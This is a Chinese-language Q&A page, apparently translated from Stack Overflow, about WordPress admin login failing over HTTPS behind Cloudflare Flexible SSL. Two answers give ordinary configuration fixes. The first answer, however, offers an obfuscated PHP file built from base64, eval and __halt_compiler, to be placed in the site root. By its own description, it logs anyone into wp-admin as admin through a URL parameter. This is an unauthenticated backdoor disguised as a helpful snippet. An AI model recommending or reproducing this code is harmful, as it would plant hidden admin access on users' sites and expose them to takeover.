wordpress网站管理员登录cloudflare后不在https上工作

时间:2017-04-27 15:02:05

标签: wordpress ssl cloudflare wordpress-login

我有一个静态网站,我在其上安装了cloudflare灵活的SSL。 但是现在在我安装wordpress的文件夹中https://www.kiransboutique.com/wordpressrvc/

非链接正在运行,而且wp-admin也没有重定向到仪表板。我正在使用正确的登录凭据。

有人可以建议任何解决方案吗?完全相同的安装在这里工作http://bestcoachingcenter.com/kirans/

3 个答案:

答案 0 :(得分:0)

要自动登录您的wordpress管理员,每次都不添加管理员用户名和密码,您可以使用下面的代码段。

在php文件中使用此代码并将其放在wordpress安装的根目录中可帮助您使用管理员帐户登录wp-admin。

使其工作所需的是,您需要通过在查询URL中传递关键字“wpglogin”来点击网址,如下所示 - http://www.sitename.com/codefile.php?wpglogin=YWRtaW4=

点击上述网址即可轻松进入管理员。

     <?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=e044e9d170abfceff3904a363ae1348b68619a68hVRta9swEP7sQv+DFkKllMRpYexDQwKjdSHQbl2S7UsoQrEvsTbF8mQZN5T+9+nFdry1ZQkB5+55Od2dnAJLQBF8LTMNmR6tDjlcIZbngsdMc5mNfxYyw4PJ6Ul/ywU8MJ1OUcJVxvZA+nQZLX5EizVeXi/mDyt6O7+Lvny+j/CjZfAsFmUCVGaxwTb0sDeu8pGQLAnzNO9Z4E7IDROoX+XJxvwFpaSiCnKpNM925MJi/JdvCS8K0MZ6EX37Hi1Xa1zlhr/jmTFFZ2fozQz6MEUYD55PT4J+E0VTtGEFfPpIE4hlAu9oGu/A2HZoRoole5N0ekGfqV1hxJhS7EBsJMBKCsCo+UxnNYMXWjEtFR56WFbuN6Bw4DGXNjiYIC9q8WUBykrvQFP3TJyZqyno2wjliclfuoCt8kjzxXVRneT64nE0S5hmo9n8xpFfnOTvEtTBQPEyuouuV+gc3S6+3iMcutmMZrmCLX8KsS+sSkEBmt9YQtgYhRj78hQUpdC2/JpsT1EHiXdyB2lK9yDBCk3dBrhG4+YYnak1yu4QztVl2mPYn6um0zm6ORDsRzpstdrZWoQ3SiRlsV18YnaA1gTkAF2vOuQHYYBmJWlcKmXukLMjDcU05y8QK3VKYyl/cXiNGY/t2cztglhTLafOzw2NlkqQwSQI6s4eMajgGur0USMXLIZ2J3FVVSF+08NgtOJ7YhaT1jTS8Ie93rCLHbQFGDs/hzYXYnurXa1jtpGltpfbL0Jav2PupH+lXLllUcIsii8Jnrj2tZ1DnMr3dPEk4dD2km2BNjjyHuOob7pzPq53A0QBz/820pznVbv/62Ua0jHw8i9/AA==

答案 1 :(得分:0)

您的主页仍处于“hello World”状态,因此您可能仍需要答案。我有同样的问题;在Stackoverflow / Stackexchange上检查过像你这样的帖子 - 唉不开心。

对我有用的是什么:

  1. 如果您使用的是官方Cloudflare插件(https://wordpress.org/plugins/cloudflare/),请将“自动HTTPS重写”设置为“开启”。这解决了HTTPS下的链接和CSS问题,并节省了我必须安装其他SSL相关插件。

  2. 作为止损:如果您尚未将WP配置为“强制SSL”,您可以使用“http://”地址登录(就像我一样)。

  3. 要启用“HTTPS”登录,请编辑wp-config.php并插入以下行:

    if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false)
       $_SERVER['HTTPS']='on';
    
  4. 如果您想了解更多细节,请在此处发布:http://wptest.means.us.com/cloudflare-wordpress-unable-login-https/

    注意:灵活SSL优于无SSL,因为它会加密您与Cloudflare之间的“连接”。但是,CF与您的服务器的连接仍然是“HTTP”,并且您的登录凭据仍然容易在此行程中窃听。

    我还在检查,但我认为你也可以制作CF&lt; - &gt;通过启用Cloudflare Railgun(用于减少来自服务器的数据传输)来确保服务器连接安全。 Railgun使用TLS,因此数据被加密。我假设您使用灵活SSL和Railgun,您的连接是端到端安全的。一些廉价的主机包括免费的Railgun包。

答案 2 :(得分:0)

您可以通过将服务器IP输入Windows HOSTS文件来修复Wordpress SSL登录问题。 在Windows \ system32 \ hosts中查找主机文件,添加您的IP和域名。